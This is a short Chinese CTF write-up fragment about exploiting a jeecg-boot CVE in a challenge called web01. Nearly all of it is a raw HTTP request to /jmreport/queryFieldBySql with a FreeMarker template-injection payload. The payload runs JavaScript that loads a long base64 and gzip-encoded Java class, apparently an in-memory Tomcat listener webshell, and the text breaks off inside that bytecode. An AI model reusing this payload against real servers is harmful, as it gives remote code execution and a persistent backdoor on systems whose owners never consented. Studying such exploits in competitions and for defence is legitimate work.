第一天
web01
jeecg-boot的 CVE, 卡了很久, 最后才去写的这道题, 最后进内网只剩十几分钟了, 基本没什么时间做题了, 有点可惜
虽然但是, 真的没有挂吗, 2 分钟容器都没启动完, 就有人切完了这题, 真逆天
POST /jmreport/queryFieldBySql?token=1 HTTP/1.1
Host: 8.145.34.157:8081
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 18466
{"sql":"call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apachen.SOAPUtils').newInstance();}catch(e){clsString=classLoader.loadClass('java.lang.String');bytecodeBase64='yv66vgAAADEBewEAH29yZy9hcGFjaGUvbG9nZ2luZy90L1JlcG9ydFV0aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAMZ2V0Q2xhc3NOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAvb3JnLmFwYWNoZS5odHRwLmNsaWVudC5Mb2c0akNvbmZpZ0tweHJ4TGlzdGVuZXIIAAgBAA9nZXRCYXNlNjRTdHJpbmcBAApFeGNlcHRpb25zAQATamF2YS9pby9JT0V4Y2VwdGlvbgcADAEAEGphdmEvbGFuZy9TdHJpbmcHAA4BEUhINHNJQUFBQUFBQUFBSlZZQ1h3VVZ4MytYbmFUMld5V0F0a1NDUGROamsyV0JNS1JFRW9TRWdna0N5UWhOV0J0SjV0SnNyRFozZTRSQ0JSNzBFdXQ5ckFYMVhyVlN0R3FITzBtS1paaXJhMjIzbHByNjFGdnROVXEybUtydHZGN001UE5zUW5ncjJGbTlyMy8rZjJQOTM5OS9yMG5UZ0VvRWswQzdtQzR3NjJHVkcrbjV1Nk1Sa051cjkrbkJhTHV1bURIOGwxVndVQzdyMk56YUc5NGI1MHZFdFVDV2xpQkVKaXlTKzFXM1g0MTBPR3U4cXVSU0YxUWJaTmJGb0dGY211dk82S0Z1LzFhMU4xb3ZCdTBxMk5hSkRva0pGVWdiWTB2NEl1dUZiRGs1RFlMV0t1Q2JackF4RHBmUVBQRXVscTFjSlBhNnVkS1psM1FxL3FiMWJCUC9qWVhyZEZPWDBTZ3FPNy9OTC9NQVFVMk82eTRSR0I2VHQyWWpwUkplOFErZ2FuajdFc2hrNlFRSjJtR1NCcWpZVitnb3pMbTgrdG9UTEVqUzZxeGhzZ3AvUmhOU1RuVGtKMk9GRXduSEdvb3BBWGFCQXB5a2dsems1Wk1MUlF4RTdPa290a0VjcmZXNDhCY1ErUThBVnMwYUJBTFhKcVRMSUs4QzdCUThpNGliMWRiaWNEaWk5Sk54aVhJc1ZOSnJ2elMxZVVMcEc1dnFpbFlaVU9CUUlvMzRvRGIyRmxLTExjeFozSjJWdWFPeHJOTWtyYnlzYk5TSUtOTmEyZnc5UTNpU3ZyYTJtUU9CMVpncGNSK0ZlWHVGVkJJdHlOWDhqdUhTS3YzZXJWUTFCY01LRmhETWkvVjF4bUo2UTMzaEtKQmQ1VXYxRW4wR0p4dU5ieDhjSHNVTTdjRkxSRmQvTGREUVltcFlwUVFCVFVDRXhxanFuZDN2Um95ODlOU1VkMW9ReTJkNnRDaXRZRklWQTE0dVp3N0xyNmpMWE5nTStyczJJQjZnVGtqQ0NJaHpjdTY4b2ExNkdhdHA1Ry9GR3dSbURSYXNBS2licVA2eXA2b1JqZXNPVVRKZ1VZMDJkR0E3UWJDWTVqVExMUDdjanUyNG4xa2tqVXFTV3NOeW9qbWpZVjkwUjQzVmV1a083QlRXdmwrQnFJdFdPTUxxSDZtc2d5MTFQVUJYQ2szcjZKMVlhTURyT2UvY0xCSGEwdmsybmk5b3JxYmRheFhvak9TdkNHdzRDSzRXWFNtM2xxNjRWUDl2bjFTYzVvYURtK0pVY1ljd3lsZjBDMHhxZ2lIMVI2dWgySlJZcUdwWFRMKzdTTUxkMHZyTHMwckJkdkNXaVFVREVRWTFORis2SDFvSXg4Smt3eEtjaWtSTFJKaFpnbk1IWjlKcDVDcDJhWkdWZktZTGdnc3VhQWluWkNzOHk2SWpZS3d3S0tMa3FlQXVoZGZuSThLdWdWbW45ODFCU3pieVV6TWtXcUlTVTd1ZVlQS290aUgvWFpFY0kyQXZWT1R2ZGlqZG1rT2ZOQm9OZGNLcEZQdVJuM0hnZXVSazRFWWJtQVZHc1ROcWo5RzZoc042cHNZUlc4d0VGVjlBWmJIakJHSFFhY2FicFJLV2JWbHVUc2N1QVczeXFyNWtFQld4NUMzTmVGZ1Y4TDZiUmZPQThPTDBVNk9teThPZkFTM3lUYjdVYnFyNDJVbXovd2tvSkxTeDRIYmNZZjAvazRCQjNtM3FtRWlGWld3Zk55QTVXNXV0S29SYmNYeTlacFhQM3V6eHVwT3NvN3Z4WDNTalBzZEtFV1ovSHFBYVJsU2UvdzhEbTM0cEtHaElrcU8xbGhVdS9BeFlsYVJBNS9DcHpQUWc4K01hRi9Hcm9MUEdlM0xQQStjT1dPZEJaL0h3M1k4aEM5d2NCaTFxZUFSZ1VzRytZMkRXeUE3V1VyaVRQOGl2bVRIRVR3cUhYUTZVSXhsOHV1cjlDNHl3cnNsWTNpWDdKeHNqc2R3WExwM2d1RUxEZUlmc2VGeENUOFhaNTIzK3lqb3M2TmZEaEFaQVczUDBCa3k4aWhQUUhrU1g1UFdQOG4yeGp4VC9SRjU1STVoRnBQNUtaeVdvSDNkcUpiTDJjOGxORk1INWRLZ3JYVEszS0RvYitDWkRPekJOMGtmaWJWR3pKRWlLMmZrOFp5WURaN0R0MlN0Zkh2d1JCNHBUOEVMSEJYMnlPOVJGZzQ3Z0w2TDc5bnhIWHhmbXNuaEpDTWFURURrd0kva0NkYVBIeWZ5dHpvd21MOGpSNHlFUlMvaXB6S1VMMG1GNDluOHNyVDVGZXBxOThjaW5aV3g5blpaSzcrQVRicitTMFl3TVJZd2dpRzZRT2hxZURxdEdnUGtpOHorMytDMzBxemYyYkRiYkpvR2dTZllHUE4yMXZnMGY5dXdRZWFQeHJCU01uaDJqRTlyampWTGpWZVI4U3BtOGcvakMydnRmbHJoMWpsTmhtVnN5Mk5NYUZQSDRWTHdkOVl0WVdELzhLdGhyVTFmdmZBQU8xSzFBLy9BUDJYbXZza3BTamE1V0VnTGU2VnFCODdKNmo2Q2Y4bUpoQWx4QnUrUVJoYWoxeXZibkhFVHlOa2hNK1kvK0s4ZFovRXVSeThLR2RXQ0JuTi9yQ0FNTUxRNEszaXJtVFZxeEttbkRyVkRXKy9yTUE1VlMxZ0t0dFN2TDdFSjNsOW1uSWRhRVFvdkorUGpNSTRPRG4waTNTNXN3czRxOW11QmptaW5majJxZFFpSG1NQUVGZXdHYWJFUUJ3UE5tSHhaZ3MwT01VbE1sbHlaYkE2NitDNDEydW11OUhYVUJxSmFCMHRPWEVxMk5sMkhRMlN4ZkVnOFZjNXB0U3dZT2UrSmJMdVlJcWJMQzhITDhtdW1YblBiZVNNSlY3SEVIR0sydkNnMGlEblVhbFFiRzBhYVVYMUc3cXpnRU4vS25wUGFMYzlZczU4WHhxSStmMkdsVG1ZVGk4bmNIdFJQYkk0ZUYwZ1NzOEdMSEpITEZCQjV4Z2xvNnJZSkY4ZXluVW5raWlnMGVscTlGdTBNTWhYWGphRWxtVzJzNURRazBJQ2xva2dhd1BKeDdrek9IMFhRLzJuanNTdUNzS1Q1QXQzQjNYUjU5UmdwT1liSXNiSlVyQktyN1dLbEtPV1JwdWtZTkpsWE81dmdCU2NyRWdzVWR2a2kzc0xLaXNicXdZWkltTmJLMDBEL1lSUHI1SWl1bWJHekcyVnJVRlhKN05BTXF1cGthUW02RGV5NEJwM1JIbTJDRnh6YkdsNjV6WXQ4VWZFeW02aGo4SXVYRm50YlY2OG9WcjBscTVldUxHbTFDUTkxYnVlMFVsRFJ3ZW5USnJZeVZacDdldHBVbTJqQVBIWkJLMmdGLzdQSkd5V0FkSGwvNU5zbTc4ajZlNjcrRm5MWTA5ODM2bThIdjNpbDV6T2R2eW9vU2ZEdHpPdkZ4RHluMlBZNHJ1T3I4WEhjZkl6TEtheDFRRFpkWURZeU1RY1pwZ2l5OEQxQkY4ekx2U2t1UmtwSlc1S1gzNHRMUjhvN2lheVdYa3c5amhseHpEbU8rWHpHc2JnUGVTZmd5aXc4Z2FJaGhabjBEcGhQRlF2bzFVSXN4eUpkY1pZaDNGUXN2eWFUbHJjT09YeVlKcFNUVjFLbDUrVmI4ay8xWXZYUmhOZzAzZTZjWWFMU0U2TFNxYVJFRjhXUnpSVDFFam1rSWZtWm0vcmc4UlRNUEFURmVoalcxSlBZMnFKNzBKeTVxUmN0Y1Z4UmtCK0hldFFqanVvcWVOdW5IUlpkYVJaUytTeWdxRUo2NU9iT1V1U2lTRGRpT2ZmU3VMb1dsNUU2bHlhdFkwUXNVbVhDc0h4VTZvYkpyeXFzSjgxR2ZxK0JaUUFUWVZXUW9xQmFLTHcxeXNjQXQ0YXY4V09ER01CVVdNeEZTVlZPYWEzd21rNlc2UEF3ak1kRzRiUmlHRTRpWVk1QUd6UWRwL1pCRWVJTTNiQng3eHhCT0hBYXNYcFgzbU80cmg4SFUvQXNYaDM2d1krYjQvandJYnlRNStyRnh6eXVmdHhGdkswdTVrUS83a2xCSHc2VnB1WmxwMXJpK0VScGFyWTE4OEYrZkRhRnc4WjgrWDBTS1MxNWNSeU80OHU5K0VwMmFoeEgrL0dZQllleDM1VVp6MDd0UjYrRlkxMC9zK3lKMHJRRTkya2NpZU5VcVpLdFpLZkY4ZlRsMllwTHZncjY4YXpBY2Jnc2t5YkY4WHdjUDhoVzR2aWh1WjRuYVg5aXBSMTkrQm4zRXRTUytPZkd3cThFVlZzOXg0aUNqVWZwbTRtUU4yTUtuNnU1V3NhZ3JtSFF5N0dTUWE1bW1EME04UTRHdVlmQlBNaHczc2JWQjFHRGh4bldSMUdMVTlpRVo3QVpyNkFPcjVQNkxLZXNON0VOYjZGUmowY0RwZDdHQ0hTZ2szRjZFRTN3WVJjcjBJMm5zUnQrV3JBU1Q2QUxBV1p1TlNVR0dXQ1pnT2NTRVR4blJ0Q0dOeERDMVdaQ0xZQjFnRWFsNlhuQ3kwQk13UjRGUGN3WjRHM3NxWlJwUTFKZXNQaDhWYVlaUlpUckdiU1pLMUtGVzlUbk8vSHJQdnplaVQvd2VScDc2ZzlqdWlkLytFOWJLU3ZJd2ovWFViMVhPSmxoNVV6UStTeHhha0NlblBLNExnVy9TRytrNEZXaVhzYmRVNUQ1ME1QSWtxWDJGaVZOS0xVV3hQRzI1L0RBYTY3bjREaUpNeTFzT3Y5K3lzV292ZWZLaTRzVVdZd1RkQTFuek1nVUV3VVEveFRzSkdaWGNQZEs3bDlGQ3BWdHN4V3ptTk56bWRrTGlXOEJrUzBtdG9PRk9vMy8vb1EvNngxaEZWN2pEdlN2MTlsV2VaaXpYdjZDdi9LdHNMamZ3TitvVWVJNkdkWjNvU2c0cStDSVI4R1pkTWNJOUdTbk1PcndFYTVaOVAvTFhPY1VhWDBpZzFYRUJtT2hJeFBqd25sU1RHbXh1dUppV3ErWXdSd1VzK0ppYmgzVHJ6Ny9xSzQ5bisxbE1QOW0wd1l3OGltTWJqckM5QzdDL1JncG9zeVRidDJqdWFSTkorcFZ3cUpYZUJIYlRMYmVBZHpDcW51MFVlL3hLUU5rWTBvMDhNOW9IbVRqL2NBSWtmQXdDV1dJRGtpcmwvU0ovSHFYVXhTSTA4SWRGOHRjZkpmRVJabUhjVHJzRk9YV0ozR2t4WkpaM2NpOUF2NTRxTVdTeCsreTAyaWdLMlVlcDdoTWx5REwxWnB0MVprcWhqTmxXNU80VWt1dCtVWW1yV05GbGJPaXVwbkc1U1BpdlkrN0IyanVCeG5mYTBsM0N5bXZJK1VOVE4yRHJLMGJ5WE16dVc3Q2Z0eXFvN09SQ003Q0FqR1BVWlk0bFlyNWpHZ0thUmZwYTFaeUZwcHI2N0ZTTEREYjlnR3gwR3lvKzhXaUJJcTVzbGxYNlExNEVNVUJrbG5OMzNwSDV1TWRrZy9Qalh0eG45bGdtMHlVRHc1SGVmM1lLTmVZZ0RVa28xek5QMEsybGtCdlRBSjYwM0MrVVVDYmpFTllWN0ZqbGZOOHVZWjRqc1JhdG9mYmFmUWR4TzlPMGgwaTVWMmt2SnU5N0I1MnEzdkpjeis1N3NQMWVHQVkxb3RGcFlsMXVZbHJFM0wwTlNzNWk4eTFEWXpFSU5ZSGliV1JzZGNUNjVMaFdOZVlHVnR0WXIxS1lxMy9IbzYxVFd4T3pFRWV2UWlBUXFlb1A0RVpUckhsQk9aZjFNUWlkT2N2b1VrT1RHYzF6MkRqbUFuOEQrcC9xQTQwR2dBQQgAEAEABjxpbml0PgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAEgATCgAPABQBAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAXAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAIbGlzdGVuZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAdjb250ZXh0AQAIY29udGV4dHMBABBMamF2YS91dGlsL0xpc3Q7AQAEdGhpcwEAIUxvcmcvYXBhY2hlL2xvZ2dpbmcvdC9SZXBvcnRVdGlsOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBACRMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAA5qYXZhL3V0aWwvTGlzdAcAJAEAEmphdmEvdXRpbC9JdGVyYXRvcgcAJgEADVN0YWNrTWFwVGFibGUMABIAFgoABAApAQAKZ2V0Q29udGV4dAEAEigpTGphdmEvdXRpbC9MaXN0OwwAKwAsCgACAC0BAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsMAC8AMAsAJQAxAQAHaGFzTmV4dAEAAygpWgwAMwA0CwAnADUBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsMADcAOAsAJwA5AQALZ2V0TGlzdGVuZXIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAOwA8CgACAD0BAAthZGRMaXN0ZW5lcgEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgwAPwBACgACAEEBAARrZXkxAQAIY2hpbGRyZW4BABNMamF2YS91dGlsL0hhc2hNYXA7AQADa2V5AQALY2hpbGRyZW5NYXABAAZ0aHJlYWQBABJMamF2YS9sYW5nL1RocmVhZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHAE0BABBqYXZhL2xhbmcvVGhyZWFkBwBPAQARamF2YS91dGlsL0hhc2hNYXAHAFEBABNqYXZhL3V0aWwvQXJyYXlMaXN0BwBTCgBUACkBAApnZXRUaHJlYWRzCABWAQAMaW52b2tlTWV0aG9kAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsMAFgAWQoAAgBaAQAHZ2V0TmFtZQwAXAAGCgBQAF0BABxDb250YWluZXJCYWNrZ3JvdW5kUHJvY2Vzc29yCABfAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAGEAYgoADwBjAQAGdGFyZ2V0CABlAQAFZ2V0RlYMAGcAWQoAAgBoAQAGdGhpcyQwCABqCABEAQAGa2V5U2V0AQARKClMamF2YS91dGlsL1NldDsMAG0AbgoAUgBvAQANamF2YS91dGlsL1NldAcAcQsAcgAxAQADZ2V0DAB0ADwKAFIAdQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAdwB4CgAEAHkBAA9qYXZhL2xhbmcvQ2xhc3MHAHsKAHwAXQEAD1N0YW5kYXJkQ29udGV4dAgAfgEAA2FkZAEAFShMamF2YS9sYW5nL09iamVjdDspWgwAgACBCwAlAIIBABVUb21jYXRFbWJlZGRlZENvbnRleHQIAIQBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7DACGAIcKAFAAiAEACHRvU3RyaW5nDACKAAYKAHwAiwEAGVBhcmFsbGVsV2ViYXBwQ2xhc3NMb2FkZXIIAI0BAB9Ub21jYXRFbWJlZGRlZFdlYmFwcENsYXNzTG9hZGVyCACPAQAJcmVzb3VyY2VzCACRCAAdAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24HAJQBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYMABIAlgoAlQCXAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24HAJkBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uBwCbAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgcAnQEACVNpZ25hdHVyZQEAJigpTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQATamF2YS9sYW5nL1Rocm93YWJsZQcAoQEACWNsYXp6Qnl0ZQEAAltCAQALZGVmaW5lQ2xhc3MBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABWNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyBwCrAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7DACtAK4KAFAArwEADmdldENsYXNzTG9hZGVyDACxAIcKAHwAsgwABQAGCgACALQBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7DAC2ALcKAKwAuAEAC25ld0luc3RhbmNlDAC6ADgKAHwAuwwACgAGCgACAL0BAAxkZWNvZGVCYXNlNjQBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCDAC/AMAKAAIAwQEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCDADDAMQKAAIAxQgApQcApAEAEWphdmEvbGFuZy9JbnRlZ2VyBwDJAQAEVFlQRQwAywCoCQDKAMwBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAM4AzwoAfADQAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwDSAQANc2V0QWNjZXNzaWJsZQEABChaKVYMANQA1QoA0wDWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsMANgA2QoAygDaAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DADcAN0KANMA3gEAB29iamVjdHMBABNbTGphdmEvbGFuZy9PYmplY3Q7AQAJbGlzdGVuZXJzAQAJYXJyYXlMaXN0AQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAKaXNJbmplY3RlZAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWgwA5QDmCgACAOcBABthZGRBcHBsaWNhdGlvbkV2ZW50TGlzdGVuZXIIAOkBAF0oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAFgA6woAAgDsAQAcZ2V0QXBwbGljYXRpb25FdmVudExpc3RlbmVycwgA7gcA4QEAEGphdmEvdXRpbC9BcnJheXMHAPEBAAZhc0xpc3QBACUoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS91dGlsL0xpc3Q7DADzAPQKAPIA9QEAGShMamF2YS91dGlsL0NvbGxlY3Rpb247KVYMABIA9woAVAD4CgBUAIIBABxzZXRBcHBsaWNhdGlvbkV2ZW50TGlzdGVuZXJzCAD7AQAHdG9BcnJheQEAFSgpW0xqYXZhL2xhbmcvT2JqZWN0OwwA/QD+CgBUAP8BAAFpAQABSQEADWV2aWxDbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAARzaXplAQADKClJDAEFAQYKAFQBBwEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwwAdAEJCgBUAQoBAAxkZWNvZGVyQ2xhc3MBAAdkZWNvZGVyAQAHaWdub3JlZAEACWJhc2U2NFN0cgEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcggBEQEAB2Zvck5hbWUMARMAtwoAfAEUAQAMZGVjb2RlQnVmZmVyCAEWAQAJZ2V0TWV0aG9kDAEYAM8KAHwBGQEAEGphdmEudXRpbC5CYXNlNjQIARsBAApnZXREZWNvZGVyCAEdAQAGZGVjb2RlCAEfAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24HASEBAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAJpbgEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEABnVuZ3ppcAEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAZidWZmZXIBAAFuAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0HASwBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtBwEuAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0HATAKAS0AKQEABShbQilWDAASATMKAS8BNAEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgwAEgE2CgExATcBAARyZWFkAQAFKFtCKUkMATkBOgoBMQE7AQAFd3JpdGUBAAcoW0JJSSlWDAE9AT4KAS0BPwEAC3RvQnl0ZUFycmF5AQAEKClbQgwBQQFCCgEtAUMBAANvYmoBAAlmaWVsZE5hbWUBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAARnZXRGAQA/KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DAFJAUoKAAIBSwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkBwFNCgFOANYKAU4AdQEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcBUQEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwBVAFVCgB8AVYBAA1nZXRTdXBlcmNsYXNzDAFYAHgKAHwBWQoBUgAUAQAMdGFyZ2V0T2JqZWN0AQAKbWV0aG9kTmFtZQEAB21ldGhvZHMBABtbTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAK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